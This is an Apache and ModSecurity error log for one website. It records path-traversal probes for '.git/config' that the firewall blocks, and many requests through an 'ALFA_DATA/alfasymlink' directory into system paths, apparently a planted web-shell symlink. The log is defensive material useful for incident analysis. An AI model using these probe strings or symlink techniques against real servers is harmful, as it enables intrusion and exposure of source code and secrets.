[Sun Oct 25 05:21:58.872732 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3KNl7qbMmJbBwRWmCy-AAAAAA"]
[Sun Oct 25 05:21:58.873107 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3KNl7qbMmJbBwRWmCy-AAAAAA"]
[Sun Oct 25 05:21:58.874224 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at3KNpVuuRM02w6bkBPFwgAAAAM"]
[Sun Oct 25 05:21:58.874284 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at3KNpVuuRM02w6bkBPFwgAAAAM"]
[Sun Oct 25 05:21:58.874329 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at3KNpVuuRM02w6bkBPFwgAAAAM"]
[Sun Oct 25 05:21:58.874460 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at3KNpVuuRM02w6bkBPFwgAAAAM"]
[Sun Oct 25 05:21:58.874732 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at3KNpVuuRM02w6bkBPFwgAAAAM"]
[Sun Oct 25 05:21:58.879350 2026] [security2:error] [pid 2800257:tid 2800257] [client 45.138.12.22:46384] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at3KNgucbPRTB84uYmjgjAAAAAk"]
[Sun Oct 25 05:21:58.879401 2026] [security2:error] [pid 2800257:tid 2800257] [client 45.138.12.22:46384] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at3KNgucbPRTB84uYmjgjAAAAAk"]
[Sun Oct 25 05:21:58.879467 2026] [security2:error] [pid 2800257:tid 2800257] [client 45.138.12.22:46384] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at3KNgucbPRTB84uYmjgjAAAAAk"]
[Sun Oct 25 05:21:58.879656 2026] [security2:error] [pid 2800257:tid 2800257] [client 45.138.12.22:46384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at3KNgucbPRTB84uYmjgjAAAAAk"]
[Sun Oct 25 05:21:58.879902 2026] [security2:error] [pid 2800257:tid 2800257] [client 45.138.12.22:46384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at3KNgucbPRTB84uYmjgjAAAAAk"]
[Sun Oct 25 05:21:59.494628 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at3KN8AclEqdWzgpj08wXgAAAAc"]
[Sun Oct 25 05:21:59.494702 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at3KN8AclEqdWzgpj08wXgAAAAc"]
[Sun Oct 25 05:21:59.494756 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at3KN8AclEqdWzgpj08wXgAAAAc"]
[Sun Oct 25 05:21:59.494975 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at3KN8AclEqdWzgpj08wXgAAAAc"]
[Sun Oct 25 05:21:59.495235 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at3KN8AclEqdWzgpj08wXgAAAAc"]
[Sun Oct 25 05:21:59.589075 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at3KN72dQNaDuK1aHdok1gAAAAs"]
[Sun Oct 25 05:21:59.589127 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at3KN72dQNaDuK1aHdok1gAAAAs"]
[Sun Oct 25 05:21:59.589202 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at3KN72dQNaDuK1aHdok1gAAAAs"]
[Sun Oct 25 05:21:59.589441 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at3KN72dQNaDuK1aHdok1gAAAAs"]
[Sun Oct 25 05:21:59.589802 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at3KN72dQNaDuK1aHdok1gAAAAs"]
[Sun Oct 25 05:22:00.177691 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at3KOJVuuRM02w6bkBPFwwAAAAM"]
[Sun Oct 25 05:22:00.177742 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at3KOJVuuRM02w6bkBPFwwAAAAM"]
[Sun Oct 25 05:22:00.177796 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at3KOJVuuRM02w6bkBPFwwAAAAM"]
[Sun Oct 25 05:22:00.178050 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at3KOJVuuRM02w6bkBPFwwAAAAM"]
[Sun Oct 25 05:22:00.178377 2026] [security2:error] [pid 2799892:tid 2799892] [client 45.138.12.22:30362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at3KOJVuuRM02w6bkBPFwwAAAAM"]
[Sun Oct 25 05:22:00.260577 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at3KOF7qbMmJbBwRWmCy-QAAAAA"]
[Sun Oct 25 05:22:00.260679 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at3KOF7qbMmJbBwRWmCy-QAAAAA"]
[Sun Oct 25 05:22:00.260739 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at3KOF7qbMmJbBwRWmCy-QAAAAA"]
[Sun Oct 25 05:22:00.260993 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at3KOF7qbMmJbBwRWmCy-QAAAAA"]
[Sun Oct 25 05:22:00.261280 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at3KOF7qbMmJbBwRWmCy-QAAAAA"]
[Sun Oct 25 05:22:05.836633 2026] [proxy_fcgi:error] [pid 2806347:tid 2806347] [client 45.138.12.22:55860] AH01071: Got error 'Primary script unknown', referer: https://sherwinpinturas.com/
[Sun Oct 25 05:22:10.398464 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 54.91.122.193:46573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/pvpanic/bind
[Sun Oct 25 05:22:18.152674 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 85.208.96.205:43768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:22.169162 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.232.39.98:17379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:26.267185 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.212.205.90:1402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:30.150218 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.221.156.96:60781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:46.194904 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 23.23.104.107:30946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/remove
[Sun Oct 25 05:22:50.143228 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.170.205.140:14830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:54.161204 2026] [ssl:error] [pid 2800259:tid 2800259] (5)Input/output error: [client 23.21.225.190:25258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:22:57.801241 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.1:43194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/partial
[Sun Oct 25 05:23:06.135554 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.147.238.89:35909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:23:10.141454 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 52.71.46.142:57983] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory23/subsystem/drivers_probe
[Sun Oct 25 05:23:18.204650 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.231.156.59:14658] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:23:26.149872 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 23.20.178.124:1560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/line
[Sun Oct 25 05:23:29.540328 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.1:49120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/red_zone
[Sun Oct 25 05:23:30.158847 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.214.176.44:42302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:23:46.123774 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 44.223.193.255:51554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:23:50.119754 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 44.221.37.41:61840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:23:58.163214 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.206.47.187:60026] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:24:02.134905 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 35.170.205.140:51390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:24:12.948725 2026] [security2:error] [pid 2806347:tid 2806347] [client 85.208.96.204:11274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/grub2-get-kernel-settings"] [unique_id "at3KvISClIr6gkpjLO7VjAAAAAg"]
